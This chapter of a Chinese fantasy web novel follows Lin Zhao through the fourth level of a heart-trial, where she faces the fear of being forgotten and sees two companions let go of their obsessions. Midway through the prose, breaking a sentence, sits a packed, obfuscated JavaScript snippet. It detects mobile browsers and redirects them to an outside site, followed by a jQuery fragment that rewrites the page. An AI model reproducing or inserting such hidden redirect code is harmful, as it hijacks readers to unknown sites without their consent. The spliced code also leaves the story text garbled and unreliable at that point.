第四层。
林照踏上台的瞬间，眼前没有幻境，只有一片虚无的黑暗。
不是夜的黑，不是墨的黑，是一种“空”的黑——什么都没有，没有光，没有声音，没有温度，连自己的呼吸声都听不见。她像被塞进了一个密闭的箱子，箱子外是无垠的虚空。
她试着往前走，但脚下没有路。不是悬空，是根本没有“地面”这个概念。她只能站在原地，像一个被遗弃在宇宙深处的孤魂。
然后，声音来了。
起初很轻，像远处飘来的呓语。渐渐地，清晰起来——是人的声音。熟悉的声音。
“林照那丫头，走了有半年了吧？”
“什么半年，才三个月！”
“管他几个月，反正不回来了。听说去了玄霄阁，要当仙人呢。”
“嗤，就她？五废之体，当什么仙人？怕是死在外面了。”
是晒谷观孩子们的声音。李虎，豆苗，还有其他人。他们在议论她，语气里有嫉妒，有不屑，有冷漠。
林照的心抽了一下。
声音继续飘来。
“阿茸这几天不吃草，老往山路上望。”
“畜牲就是畜牲，记吃不记打。那丫头走的时候头都不回，它倒惦记。”
“死了这条心吧，人家现在是修仙的人了，哪还记得咱们这破观。”
声音越来越远，像退潮的海水，渐渐消失在黑暗深处。
林照站在原地，一动不动。
她知道这是幻境，是炼心台挖出她内心最深处的恐惧——不是死亡，不是失败，是被遗忘。被晒谷观遗忘，被阿茸遗忘，被她曾经守护的一切遗忘。
就像一滴水落进大海，悄无声息地消失。
就像一粒沙被风吹走，没人记得它曾经在哪里。
黑暗重新笼罩。
这次，传来的是陌生的声音。
“林照？谁啊？”
“哦，那个晒谷观的？好像来参加过试炼。”
“后来呢？”
“后来？淘汰了吧。五废之体，能有什么出息。”
“也是。修仙界天才如云，谁记得一个废物体质。”
声音冷冰冰的，像刀子刮过石板。
林照闭上眼睛。
她想起玄霄阁测灵根那天，那个月白道袍的青年，那句冰冷的“五废之体，终身难筑基”。想起广场上那些修士看她时怜悯又轻蔑的眼神。想起云鹤真人问她“为什么要选最难的路”时，那审视的目光。
如果她走不到最后，如果她中途失败，如果她死在试炼里——谁会记得她？
晒谷观会慢慢忘了她，孩子们会长大，会有新的生活。阿茸会老死，会有新的羊。玄霄阁更不会记得一个失败的试炼者。她就像麦田里的一株野草，被拔掉了，麦田还是麦田，不会少什么。
她睁开眼。
黑暗中，渐渐浮现出画面。
是她自己的脸——在铜镜里的脸。十六岁，眉眼还未长开，眼神干净，但没什么特别。这张脸放在人群里，很快就会淹没。
画面变化。她看见自己走在路上，遇见很多人——渔夫，老妇人，周言，沈不言，陈砚，李慕云。每个人都对她笑，跟她说话，但转身离开后，没人回头。就像风吹过水面，涟漪散了，水面还是水面。
最后，画面定格在一幅画上。
是周言的那幅画。墨点，留白，山在云上，屋在山顶。但这一次，画里没有山，没有云，没有屋。只有那个墨点，孤零零地躺在宣纸中央。
然后，墨点也淡去了。
画变成了一张白纸。
空空如也。
就像她从没来过这世界，就像她从没种过麦子，从没救过小丫，从没走过荆棘路，从没在石头上刻过“再走一步”。
什么都没有。
林照感到一种彻骨的冷。
不是身体的冷，是灵魂的冷。像被剥光了扔在冰原上，连影子都没有。
她蹲下身——虽然脚下没有地，但她做出了蹲下的姿势。双手抱膝，把脸埋在臂弯里。
想哭，但没有眼泪。
因为连眼泪，都是“存在”的证明。而在这个幻境里，她连“存在”都要被否定。
时间不知过去了多久。
也许是一炷香，也许是一整天，也许是一百年。
黑暗没有尽头，虚无没有边界。
就在林照以为自己会永远困在这里时，耳边忽然响起一个声音。
很轻，很熟悉。
“照儿。”
是师父。
林照猛地抬头。黑暗中，浮现出老谷头的身影。老人佝偻着背，手里拿着烟袋，脸上挂着笑，像晒谷观槐树下打盹时的样子。
“师父……”林照的声音嘶哑。
“傻丫头，”老谷头说，“你忘了最重要的事。”
“什么事？”
“麦子被拔掉了，但麦田记得。”老谷头抽了口烟，烟雾在黑暗中缓缓扩散，“不是麦田‘需要’记得，是麦田‘就会’记得。每一株被拔掉的野草，都化作了泥土，滋养了下一季的麦子。”
他走近几步，浑浊的眼睛看着她：“你以为你种的是麦子？错了。你种的是你自己。麦子会长成麦子，你会长成你。至于别人记不记得……重要吗？”
林照愣住了。
“你活着，不是为了被别人记住。”老谷头说，“你活着，是为了看见今天的太阳，闻见今天的麦香，摸到今天的泥土。是为了这一口气吸进来，呼出去。是为了这一刻，你还站在这儿，还能想，还能痛，还能……记得。”
他顿了顿：“记得晒谷观，记得阿茸，记得我。不是我们需要你记得，是你需要记得我们——因为记得，你才是你。”
烟雾渐渐散去，老谷头的身影也开始模糊。
“师父！”林照伸手去抓，但抓了个空。
最后时刻，老谷头笑了：“记住，照儿。你存在，不需要别人证明。你呼吸，就是证明。你心跳，就是证明。你此刻站在这里，想着晒谷观，想着我——这就是最真实的证明。”
声音消失，黑暗重新降临。
但这一次，黑暗不一样了。
林照站起身。她不再觉得冷，不再觉得空。她能感觉到自己的呼吸，自己的心跳，自己血液在血管里流动的声音。
这些，都是“存在”的证明。
她不需要被别人记住，因为她记得自己。
记得晒谷观的每一寸土地，记得麦田的每一次丰收，记得药田的每一株草药，记得阿茸左耳上的疤，记得师父临终前的笑容。
这些记忆，是她存在的根。
根扎得深，树就不怕风。
她迈开脚步——虽然眼前还是黑暗，但脚下有了路。
一步，两步。
黑暗中，渐渐有了光。
不是刺眼的光，是温暖的光，像晨曦，像烛火。光里浮现出画面——
晒谷观的麦田，在风中起伏。
阿茸在晒谷场上吃草，抬头朝她“咩”了一声。
豆苗在晒麦子，小脸上全是汗。
李虎在劈柴，斧头起落，木屑飞溅。
灶房里飘出炊烟，锅里熬着粥。
这些画面，不是幻境，是记忆。
她自己的记忆。
光越来越亮，画面越来越多——
破庙的雨夜，周言在画画。
渔村的黄昏，老人在熬鱼汤。
驿站的午后，老妇人在写信。
荆棘路上的刺痛，铁索桥上的摇晃。
炼心台上的选择，绿洲里的麦苗。
每一幅画面，都是她走过的路，都是她存在的证明。
最后，所有画面汇聚在一起，凝成一点——
那个墨点。
周言画里的墨点。
墨点在光中旋转，放大，变成一座山。山在云上，屋在山顶。屋里有光，光里有人影。
人影转过头来——
是她自己。
林照看着画里的自己，画里的自己也看着她。
两人相视一笑。
然后，幻境破了。
眼前是石台第四层。
林照站在台上，浑身被汗水湿透，但眼神清澈。
她环顾四周，发现台上不止她一个人。
沈不言也在。
他盘膝坐在台边，闭目调息。剑横在膝上，布条裹着的剑鞘，依然朴素。他脸色有些苍白，额角有细密的汗珠，但呼吸平稳。
更让林照惊讶的是，台上还有第三个人——
周言。
画师坐在台中央，面前摊着一张宣纸，手里拿着笔，正在作画。他画得很专注，嘴里喃喃自语：“不对……不是这样……山应该再高一点……云应该再淡一点……”
林照走过去，轻声唤：“周先生？”
周言没抬头，继续画：“别吵，我快找到了……那座山……我看见了……”
“周先生，这里是幻境。”林照说。
“幻境？”周言终于抬起头，看着她，眼神迷茫，“那……你是真的吗？”
“我是林照。”
“林照……”周言念叨着这个名字，忽然笑了，“哦，我想起来了。那个在破庙里看雨的姑娘。你救过我。”
他放下笔，环顾四周：“这里……是玄霄阁的炼心台？”
“是。”
周言苦笑：“难怪。我本来要去青云剑派，告诉他们那座山是真的。走到半路，被人追上来，打了一架……醒来就在这里了。”他顿了顿，“他们把我扔进来的，对吧？想用幻境困住我，让我放弃。”
林照看着他：“您放弃了吗？”
“放弃？”周言笑了，笑容里有种癫狂的清醒，“我画了十年，找了十年，等那幅画自燃等了十年——你问我放不放弃？”他指着面前的画，“你看，我又画出来了。虽然还是不对，但比上一次更像了。”
林照低头看画。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233477|197631||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
纸上还是那座山，云海，小屋。但这次，山更清晰了，云更流动了，小屋的窗户里，那点光更温暖了。
“您看见屋里的人了吗？”她问。
周言摇头：“看不见。但我知道，有人在等。”他顿了顿，“也许等的不是我，是任何一个能走到那里的人。”
他重新拿起笔，继续画。画得很慢，每一笔都斟酌很久，像在雕刻时光。
林照不再打扰他，转身走向沈不言。
沈不言睁开眼，看向她：“过了？”
“过了。”林照点头，“沈先生呢？”
“快了。”沈不言说，“还差最后一点。”
“什么最后一点？”
沈不言沉默了一会儿，说：“我练剑，不是为了杀人，是为了止杀。但幻境里，我的剑一直在杀人——杀我想杀的人，杀我恨的人，杀我嫉妒的人。杀到最后，剑钝了，手软了，心空了。”
他顿了顿：“然后我发现，那些我杀的人，都是我自己。”
林照心头一震。
“每一个被我杀死的人，都长着我的脸。”沈不言说，“愤怒的我，嫉妒的我，贪婪的我，懦弱的我。我杀了一圈，杀的是自己。”他看着膝上的剑，“所以我在想——如果剑不能止杀，只能杀人，那这剑，还有必要存在吗？”
林照想了想，说：“沈先生，我记得我师父说过的一句话。”
“什么？”
“剑不在锋，在止。”林照说，“也许您的剑，不是为了杀‘人’，是为了杀‘执念’。那些愤怒、嫉妒、贪婪、懦弱——都是执念。您用剑斩它们，不是杀人，是斩自己的心魔。”
沈不言愣住了。
良久，他缓缓点头：“有道理。”
他重新闭上眼睛。这一次，气息变了——不再是那种沉静如深潭的感觉，而是像春风化雨，温润无声。
林照在他身边坐下，也闭上眼睛调息。
第四层的考验，是对“存在”的拷问。她过关了，但消耗很大。需要恢复。
不知过了多久，耳边传来周言的声音：“成了！”
林照睁开眼，看见周言举着画，手舞足蹈：“这次成了！你们看！”
画上，山、云、屋，都栩栩如生。最神奇的是，小屋的窗户里，那点光——不是画出来的光，是真的光。画纸在发光，温暖的光，像烛火，像夕阳，像……像等待本身。
周言看着画，眼泪流下来：“十年……我终于画出来了……”
他话音未落，画忽然自燃了。
不是天火，是画自己燃烧起来的。火焰是金色的，温暖但不烫手。画在火焰中渐渐化为灰烬，但那些灰烬没有飘散，而是凝成一个光点——和原来画上的墨点一模一样的光点。
光点飘起来，在空中旋转，然后“嗖”地一声，钻进了周言的眉心。
周言浑身一震，闭上眼睛。
半晌，他睁开眼，眼神变了——不再是那种癫狂的、执着的眼神，而是清澈的、了然的。
“原来如此。”他轻声说，“那座山……不在外面，在里面。”
他站起身，朝林照和沈不言深深一揖：“多谢二位。我该走了。”
“去哪儿？”林照问。
“回青云城。”周言说，“告诉那些追杀我的人：山是真的，但不在他们找的地方。也在他们心里，只是他们看不见。”他笑了笑，“然后……找个地方，种花，养猫，晒太阳。画了十年，该歇歇了。”
说完，他转身走向台下。
走到边缘时，他回头，对林照说：“林姑娘，你心里的那座山，比画里的更美。好好找，别急。”
然后，他一步踏出，消失在第四层。
台上只剩下林照和沈不言。
沈不言也睁开了眼。他拿起膝上的剑，轻轻一折——
剑断了。
不是用力折断的，是轻轻一碰，就断了。断口整齐，像早就该断了。
沈不言看着断剑，笑了：“执念断了，剑也该断了。”他把断剑收进怀里，站起身，“林姑娘，我也该走了。”
“去哪儿？”
“继续练剑。”沈不言说，“但这次，不是为了止杀，是为了……守护。”他顿了顿，“守护一些值得守护的东西。比如你这样的，还在种麦子的人。”
他朝林照点点头，也走下台。
林照独自站在第四层，看着空荡荡的台面。
周言找到了他的山，沈不言断了他的执念。她呢？
她心里的山，找到了吗？
她不知道。
但她知道，她会继续找。
就像种麦子，一季一季地种，一年一年地等。不急，不躁，该发芽的时候会发芽，该抽穗的时候会抽穗。
她深吸口气，走向第五层。
脚步很轻，但很坚定。
就像走在晒谷观的田埂上，就像走在荆棘丛中，就像走在沙漠里。
一步一步。
走向心里的那座山。